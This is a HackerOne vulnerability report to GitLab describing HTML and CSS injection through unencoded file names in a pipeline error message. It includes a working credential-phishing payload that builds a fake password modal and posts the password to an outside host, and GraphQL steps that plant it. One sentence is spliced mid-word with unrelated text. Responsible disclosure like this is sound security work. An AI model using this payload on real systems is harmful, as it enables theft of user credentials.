HTML and CSS injection in pipeline error message on /pipelines/new page
HackerOne report #1362405 by joaxcar
on 2021-10-07, assigned to GitLab Team:
Report | Attachments | How To Reproduce
Report
Summary
The error message from failed pipeline runs on the "https://gitlab.com/NAMESPACE/PROJECT/-/pipelines/new" view are presented without proper HTML encoding. Leading to HTML and CSS injection.
When a user enters a non-existing or broken YML file as a pipeline configuration the "new pipeline" page will present an error message similar to
The project 'namespace/project' with the file 'filename' is broken
The problem is that neither 'namespace/project' nor 'filename' are HTML encoded prior to being sent to v-safe-html in the Vue view. So if an attacker configures the project to use a file named <h1>hack</h1>.yml
(which is a valid filepath and filename. Path <h1>hack<
and filename h1>.yml
) the error message will present the word hack in huge font.
The injected payload is run through DOMPurify (by v-safe-html) which prevents most of the really serious issues such as full XSS and since a month or two also from abuse of data-*
attributes.The positioning of the injection still makes it quite dangerous as I will show.
If you just want to confirm the behavior skip to POC. I will now explain how this could be abused.
The first most basic abuse of the injection is to overlay the whole page with an invisible link to a malicious site. Leading to the victim in most cases being redirected to the malicious site as there is no indication that the page is a big link.
The other attack scenario is to use the flow of GitLab to lure a victim to give away their password. This can be achieved by mimicking the approval of merge request setting added to GitLab in 12.0 link. As this is an official workflow victims that encounter the same behavior in another part of GitLab would be more likely to actually enter their password if a similar modal when it is presented as part of a different flow.
The idea is that when a victim press the "run pipeline" button, a similar modal will appear prompting the user for a password before the pipeline is triggered. This will resemble the flow of MR approval. The problem is that the pipeline file setting is limited to 255 characters. To build a convincing modal the attacker could use CSS injection in conjunction with HTML injection and use CSS import functionality to load a arbitrary sized CSS file into the page and thus be able to create the modal, and hide the original error message. I will post first an image of the official "approval by password" modal
and here is my fake pipeline approval modal (I got the background a bit wrong, but this is easily fixed :) )
The CSS import works on Gitlab.com by bypassing CSP in the same way as with XSS and linking to a CSS file in a pipeline job artifact.
When the attacker gets the request containing the password the attacker can go to the pipeline log of the project to find out which user made the request. Thus, there is no need to trick the victim of entering a username.
The payload
My final payload to mimic the password modal takes advantage of some tricks to stay below the 255-character limit. The payload looks like this when pulled apart
a.yml@<style>[@]import \"/xep/x/-/jobs/1653666563/artifacts/raw/a.css\"</style><div id=\"u\">
<form action=\"https://joaxcar.com\" method=\"POST\">
<div></div>
<div>
<input placeholder=\"Password\" type=\"password\" name=\"x\">
</div>
<div>
<button>Approve
<style>
First of the payload needs to present a "valid filename" which is the a.yml part in the beginning. Then there is the @ separator to tell the parser that the rest of the string is a project path. As I need an @ sign in the CSS import the payload needs to be put in the path and not the file name to not be treated as a filename separator. I then import a CSS from GitLab and creates a skeleton of HTML tags for the CSS to target. All text in the modal is subsequently added by CSS as :before
and :after
content. All tags left open will be properly closed by DOMPurify before being injected into the page, saving a l error message should encode the filenames of failed pipelines.ot of characters. It could definitely be improved, but it shows the possibilities even with the limited payload size. The imported CSS will also hide the original error message.
Steps to reproduce
I will show this working through the "compliance framework" functionality which is a feature only available for Unlimited subscription plan. This is no problem as the Unlimited trail lets anyone access this. The attack is possible through regular project pipeline settings as well, but this path is a bit easier to follow. If you want to use the regular project pipeline you have to actually create the payload as a file (which is possible). Write back if you want me to do a write-up of that as well.
- Create a user
user01
- Log in as
user01
and create a groupattack_group
by visiting https://gitlab.com/groups/new - Go to https://gitlab.com/-/graphql-explorer and run this query to create a pipeline instruction in a compliance framework
mutation {
createComplianceFramework(input: {
namespacePath: "attack_group",
params: {
name: "hack",
pipelineConfigurationFullPath:"a.yml@<style>[@]import \"/xep/x/-/jobs/1653666563/artifacts/raw/a.css\"</style><div id=\"u\"><form action=\"https://joaxcar.com\" method=\"POST\"><div></div><div><input placeholder=\"Password\" type=\"password\" name=\"x\"></div><div><button>Approve<style>",
description:"hack",
color:"#3cb371"
}
}) {
errors
}
}
a simpler version that does not rely on my CSS file stored on Gitlab.com could be used to prove the impact, this one just puts in a large text in the error message
mutation {
createComplianceFramework(input: {
namespacePath: "attack_group",
params: {
name: "hack",
pipelineConfigurationFullPath:"a.yml@<h1>hack</h1>",
description:"hack",
color:"#3cb371"
}
}) {
errors
}
}
- Go to https://gitlab.com/attack_group and click the "New project" button to create a new project in the group. Name it
attack_project
- Create a
.gitlab-ci.yml
file in the project (can be empty, does not matter), for example by going to the web ide https://gitlab.com/-/ide/project/attack_group/attack_project/tree/main/-/ - Go to the project settings at https://gitlab.com/attack_group/attack_project/edit and expand the "Compliance framework". Pick the framework we created called "hack" in the drop-down.
- Go to https://gitlab.com/attack_group/attack_project/-/pipelines/new and click "Run pipeline"
- The fake modal will pop up, this will happen to any user in the group trying to run a pipeline. Test to invite another member if you wish to test this.
Impact
HTML and CSS injection in pipeline error message can force a victim to visit a malicious site, show new or alter the content of the page or try to lure the victim to expose their credentials.
What is the current bug behavior?
The pipeline error messages on "pipeline/new" does not HTML encode filenames. This unencoded names are then presented in the error message through v-safe-html which strips dangerous tags but allows regular HTML and CSS.
What is the expected correct behavior?
The error message should encode the filenames of failed pipelines.
Output of checks
This bug happens on GitLab.com
I put this at a severity based on a similar finding patched in 14.3.1 link
Impact
HTML and CSS injection in pipeline error message can force a victim to visit a malicious site, show new or alter the content of the page or try to lure the victim to expose their credentials.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Proposed solution (updated as of March 31st)
- Backend to sanitize the error input